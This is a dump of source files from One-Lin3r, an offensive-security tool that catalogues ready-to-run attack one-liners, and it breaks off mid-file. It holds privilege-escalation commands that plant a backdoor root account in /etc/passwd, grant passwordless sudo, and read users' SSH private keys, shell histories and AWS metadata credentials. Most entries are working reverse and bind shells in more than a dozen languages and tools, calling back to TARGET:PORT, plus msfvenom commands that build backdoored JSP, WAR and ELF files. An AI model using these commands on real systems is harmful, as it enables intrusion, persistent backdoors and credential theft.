/one_lin3r/core/liners/linux/bash/exploit_docker_bash_container.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Mount the filesystem in a bash container, allowing you to edit the /etc/passwd as root, then add a backdoor account toor:password"
4 | function = "PrivEsc"
5 | liner = """docker run -it --rm -v $PWD:/mnt bash
6 | echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd"""
7 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/exploit_writeable_sudoers.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "If you found writable /etc/sudoers file, execute this command will allow you to use SUDO without password "
4 | function = "PrivEsc"
5 | liner = 'echo "USERNAME ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/find_suid.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Nick Aliferopoulos (naliferopoulos)"
3 | description = "Detects files with SUID bit set, starting from '/' (useful for privilege escalation)"
4 | function = "PrivEsc"
5 | liner = "find / -perm 4000 2>/dev/null"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/get_apache_site_enabled.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Read all apache 'site-enabled' directory files"
4 | function = "PrivEsc"
5 | liner = 'cat /etc/apache2/site-enabled/*'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/get_aws_security_credentials.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "If you are on a server with amazon cloud service running or exploiting SSRF"
4 | function = "PrivEsc"
5 | liner = 'curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/get_bash_history_for_all_user.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Read bash history files for all users"
4 | function = "PrivEsc"
5 | liner = 'cat /home/*/.bash_history'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/get_last_edited_files.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Get files that were edited in the last 10 minutes"
4 | function = "PrivEsc"
5 | liner = 'find / -mmin -10 2>/dev/null | grep -Ev "^/proc"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/get_ssh_private_keys_for_all_users.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Read all private ssh keys for all users"
4 | function = "PrivEsc"
5 | liner = 'cat /home/*/.ssh/id_rsa'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/list_all_capabilities.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all capabilities for all binaries (even ones outside bin folder ofc)"
4 | function = "PrivEsc"
5 | liner = 'getcap -r / 2>/dev/null'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/list_cronjobs_for_all_users.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all crob jobs for all users in the system (Needs root ofc)"
4 | function = "PrivEsc"
5 | liner = 'for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/list_cronjobs_for_another_user.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all crob jobs for another user"
4 | function = "PrivEsc"
5 | liner = 'crontab -u USERNAME -l'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/list_cronjobs_for_current_user.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all crob jobs for current user"
4 | function = "PrivEsc"
5 | liner = 'crontab -l'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/list_systemd_timers.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all timers for systemd using systemctl ofc!"
4 | function = "PrivEsc"
5 | liner = 'systemctl list-timers --all'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Interactive shell via bash's builtin /dev/tcp."
4 | function = "reverse shell"
5 | liner = "bash -i >& /dev/tcp/TARGET/PORT 0>&1"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/reverse_tcp_exec.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses exec and while loop to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = "exec 5<>/dev/tcp/TARGET/PORT && cat <&5 | while read line; do $line 2>&5 >&5; done"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/search_for_password_in_memory.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Search for 'password' string in memory"
4 | function = "PrivEsc"
5 | liner = 'strings /dev/mem -n10 | grep -i PASS'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/search_for_password_using_find.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Search for 'password' string in file contents using find"
4 | function = "PrivEsc"
5 | liner = 'find . -type f -exec grep -i -I "PASSWORD" {{}} /dev/null \;'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/search_for_password_using_grep.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Search for 'password' string in file contents using grep"
4 | function = "PrivEsc"
5 | liner = '''grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null'''
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/search_for_writeable_folders_files.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Search a directory for writeable files and directories using find"
4 | function = "PrivEsc"
5 | liner = 'find FILE_PATH -perm -o+w'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/go/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/go/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/go/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Interactive shell via bash's builtin /dev/tcp."
4 | function = "reverse shell"
5 | liner = """echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","TARGET:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go """
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/java/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/java/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/java/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use java and bash to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = """r = Runtime.getRuntime()
6 | p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/TARGET/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
7 | p.waitFor()"""
8 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/lua/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/lua/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/lua/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use lua only to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = "lua5.1 -e 'local host, p = \"TARGET\", PORT local socket = require(\"socket\") local tcp = socket.tcp() local io = require(\"io\") tcp:connect(host, p); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read(\"*a\") f:close() tcp:send(s) if status == \"closed\" then break end end tcp:close()'"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/lua/reverse_tcp_bash.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use lua and bash to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = """lua -e "require('socket');require('os');t=socket.tcp();t:connect('TARGET','PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/nc/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/nc/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/nc/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses netcat tool to setup a bind shell"
4 | function = "bind shell"
5 | liner = "nc -lvp PORT -e /bin/bash"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/nc/bind_tcp_mkfifo.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses netcat and mkfifo to setup a bind shell"
4 | function = "bind shell"
5 | liner = """rm /tmp/VAR1;mkfifo /tmp/VAR1;cat /tmp/VAR1|/bin/sh -i 2>&1|nc -lvp PORT >/tmp/VAR1"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/nc/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Establish a reverse connection with netcat."
4 | function = "reverse shell"
5 | liner = "nc TARGET PORT -e /bin/bash"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/nc/reverse_tcp_mkfifo.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses mkfifo and netcat to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = "if [ -e /tmp/VAR1 ];then rm /tmp/VAR1;fi;mkfifo /tmp/VAR1;cat /tmp/VAR1|/bin/sh -i 2>&1|nc TARGET PORT > /tmp/VAR1"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/nc/reverse_tcp_mknod.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses mknod and netcat to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = "if [ -e /tmp/VAR1 ];then rm -f /tmp/VAR1;fi;mknod /tmp/VAR1 p && nc TARGET PORT 0/tmp/VAR1"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/nc/reverse_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Establish a udp reverse connection with netcat."
4 | function = "reverse shell"
5 | liner = """mkfifo fifo ; nc.traditional -u TARGET PORT < fifo | { bash -i; } > fifo"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/ncat/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/ncat/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/ncat/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Establish a reverse connection with ncat."
4 | function = "reverse shell"
5 | liner = "ncat TARGET PORT -e /bin/bash"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/ncat/reverse_tcp_ssl.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Establish an encrypted reverse connection with ncat."
4 | function = "reverse shell"
5 | liner = "ncat TARGET PORT --ssl -e /bin/bash"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/ncat/reverse_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Establish a reverse connection with ncat."
4 | function = "reverse shell"
5 | liner = "ncat --udp TARGET PORT -e /bin/bash"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/nodejs/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/nodejs/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/nodejs/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Establish a reverse connection with nodejs and bash."
4 | function = "reverse shell"
5 | liner = "require('child_process').exec('nc -e /bin/sh TARGET PORT')"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/openssl/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/openssl/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/openssl/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple reverse shell using openssl."
4 | function = "reverse shell"
5 | liner = "mkfifo /tmp/VAR1; /bin/sh -i < /tmp/VAR1 2>&1 | openssl s_client -quiet -connect TARGET:PORT > /tmp/VAR1; rm /tmp/VAR1"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/perl/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/perl/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/perl/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses perl sockets to establish a bind shell on specifed port."
4 | function = "bind shell"
5 | liner = """perl -MSocket -e '$VAR1=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($VAR1, INADDR_ANY));listen(S,SOMAXCONN);for(;$VAR1=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/perl/bind_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses perl MIO socket to establish a bind shell on specifed port."
4 | function = "bind shell"
5 | liner = """perl -MIO::Socket::INET -e '$|=1;$VAR1=new IO::Socket::INET->new();$VAR1 = new IO::Socket::INET(LocalPort => PORT,Proto => "udp");while(NUM1){ $VAR1->recv($VAR2,1024);$VAR3=$VAR1->peerhost();$VAR4=$VAR1->peerport();$VAR5=qx($VAR2);$VAR1->send($VAR5);}'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/perl/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses perl sockets & the output of your commands will be piped back."
4 | function = "reverse shell"
5 | liner = """perl -e 'use Socket;$i="TARGET";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' """
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/perl/reverse_tcp_miosocket.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses perl MIO sockets & the output of your commands will be piped back."
4 | function = "reverse shell"
5 | liner = """perl -MIO::Socket::INET -e "$f=fork;exit,if($f);$s=new IO::Socket::INET(PeerAddr,'TARGET:'.PORT);$s->send('shell>');STDIN->fdopen($s,r);$~->fdopen($s,w);system$_ while<>;" """
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/perl/reverse_udp_miosocket.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses perl MIO sockets & the output of your commands will be piped back."
4 | function = "reverse shell"
5 | liner = """perl -MIO::Socket::INET -e '$|=1;$s = new IO::Socket::INET(PeerAddr => "TARGET:".PORT,Proto => "udp");while(NUM1){$s->send("shell>");$s->recv($d,1024);$v1=$s->peerhost();$v2=$s->peerport();$v3=qx($d);$s->send($v3);}' """
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/php/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/php/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/php/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses PHP sockets to establish a bind shell."
4 | function = "bind shell"
5 | liner = """php -r '$VAR1=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($VAR1,"0.0.0.0",PORT);socket_listen($VAR1,1);$VAR2=socket_accept($VAR1);while(NUM1){if(!socket_write($VAR2,"$ ",2))exit;$VAR3=socket_read($VAR2,100);$VAR4=popen("$VAR3","r");while(!feof($VAR4)){$VAR5=fgetc($VAR4);socket_write($VAR2,$VAR5,strlen($VAR5));}}'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/php/bind_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses PHP sockets to establish a bind shell."
4 | function = "bind shell"
5 | liner = """php -r '$VAR1=socket_create(AF_INET,SOCK_DGRAM, 0);socket_bind($VAR1,"0.0.0.0",PORT);while(NUM1){socket_recvfrom($VAR1,$VAR2,1024,0,$VAR3,$VAR4);$VAR5=shell_exec($VAR2);socket_sendto($VAR1,$VAR5,1024,0,$VAR3,$VAR4);}'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/php/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "vesche"
3 | description = "Uses PHP sockets & exec to create a reverse shell."
4 | function = "reverse shell"
5 | liner = """php -r '$sock=fsockopen("TARGET",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/python/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/python/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/python/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use python socket module and subprocess to establish bind shell on specifed port."
4 | function = "bind shell"
5 | liner = """python -c "import socket,subprocess,os;VAR1=socket.socket(socket.AF_INET,socket.SOCK_STREAM);VAR1.bind(('',PORT));VAR1.listen(1);conn,addr=VAR1.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);VAR2=subprocess.call(['/bin/bash','-i'])" """
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/python/bind_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use python socket module and subprocess to establish bind shell on specifed port."
4 | function = "bind shell"
5 | liner = """python -c 'while NUM1: from subprocess import Popen,PIPE;from socket import socket,AF_INET,SOCK_DGRAM;VAR1=socket(AF_INET,SOCK_DGRAM);VAR1.bind(("0.0.0.0",PORT));VAR2,VAR3=VAR1.recvfrom(8096);VAR4=Popen(VAR2,shell=True,stdout=PIPE,stderr=PIPE).communicate();VAR1.sendto("".join([VAR4[0],VAR4[1]]),VAR3)'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/python/http_server.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "ZonkSec"
3 | description = "run an ad hoc http static server in your current directory (python3)"
4 | function = "Dropper"
5 | liner = """python -m http.server PORT"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/python/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use python socket to connect back & execute commands with subprocess."
4 | function = "reverse shell"
5 | liner = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("TARGET",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' """
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/python/reverse_tcp_interactive.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use python socket to connect back & launch interactive shell with pty."
4 | function = "reverse shell"
5 | liner = """python -c "import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('TARGET',PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');s.close();" """
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/python/reverse_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use python socket to connect back & launch interactive shell with pty."
4 | function = "reverse shell"
5 | liner = """python -c "import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect(('TARGET',PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');s.close();\" """
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/ruby/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/ruby/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/ruby/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses ruby TCPServer to establish a bind shell."
4 | function = "bind shell"
5 | liner = """ruby -rsocket -e 'VAR1=TCPServer.new(PORT);VAR2=VAR1.accept;VAR1.close();$stdin.reopen(VAR2);$stdout.reopen(VAR2);$stderr.reopen(VAR2);$stdin.each_line{|VAR3|VAR3=VAR3.strip;next if VAR3.length==0;(IO.popen(VAR3,"rb"){|VAR4|VAR4.each_line{|VAR5|c.puts(VAR5.strip)}})rescue nil}'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/ruby/bind_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses ruby UDPSocket to establish a bind shell."
4 | function = "bind shell"
5 | liner = """ruby -rsocket -e 'require "open3";VAR1=UDPSocket.new;VAR1.bind("0.0.0.0",PORT);loop do VAR2,VAR3=VAR1.recvfrom(1024);VAR4,VAR5,VAR6=Open3.capture3(VAR2);VAR1.send(VAR4,0,VAR3[3],VAR3[1]); end'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/ruby/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses ruby tcpsocket to connect back."
4 | function = "reverse shell"
5 | liner = "ruby -rsocket -e \"exit if fork;s=TCPSocket.new('TARGET',PORT);while(s.print 'shell>';s2=s.gets);IO.popen(s2,'r'){|s3|s.print s3.read}end\" "
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/socat/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/socat/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/socat/bind_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple bind shell using socat."
4 | function = "bind shell"
5 | liner = "socat udp-listen:PORT exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/socat/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple reverse shell using socat."
4 | function = "reverse shell"
5 | liner = """socat tcp-connect:TARGET:PORT exec:"bash -li",pty,stderr,setsid,sigint,sane"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/tclsh/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/tclsh/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/tclsh/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple reverse shell using tclsh interpreter."
4 | function = "reverse shell"
5 | liner = """echo 'set VAR1 [socket TARGET [expr PORT]];while NUM1 {puts -nonewline $VAR1 "shell>";flush $VAR1;gets $VAR1 VAR2;set VAR3 "exec $VAR2";if {![catch {set VAR4 [eval $VAR3]} err]} {puts $VAR1 $VAR4};flush $VAR1;};close $VAR1;'|tclsh"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/telnet/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/telnet/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/telnet/reverse_tcp_mkfifo.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses mkfifo and telnet to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = "if [ -e /tmp/VAR1 ];then rm /tmp/VAR1;fi;mkfifo /tmp/VAR1;cat /tmp/VAR1|/bin/sh -i 2>&1|telnet TARGET PORT > /tmp/VAR1"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/telnet/reverse_tcp_mknod.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses mknod and telnet to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = "if [ -e /tmp/VAR1 ];then rm /tmp/VAR1;fi;mknod /tmp/VAR1 p && telnet TARGET PORT 0/tmp/VAR1"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/multi/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/multi/msfvenom/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/java_jsp_reverse_shell.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Generate a reverse shell backdoor into a jsp file."
4 | function = "Msfvenom Generator"
5 | liner = 'msfvenom -p java/jsp_shell_reverse_tcp lhost="TARGET" lport=PORT -f raw > FILE_PATH.jsp'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/java_war_reverse_shell.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Generate a reverse shell backdoor into a war file."
4 | function = "Msfvenom Generator"
5 | liner = 'msfvenom -p java/jsp_shell_reverse_tcp lhost="TARGET" lport=PORT -f war > FILE_PATH.war'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/linux_elf_reverse_meterpreter.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Generate a reverse meterpreter backdoor into a elf file."
4 | function = "Msfvenom Generator"
5 | liner = 'msfvenom -p linux/x86/meterpreter/reverse_tcp lhost="TARGET" lport=PORT -f elf > FILE_PATH.elf'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/osx_macho_reverse_shell.py:
--------------------------------------------------------------------------------
1 | class info:
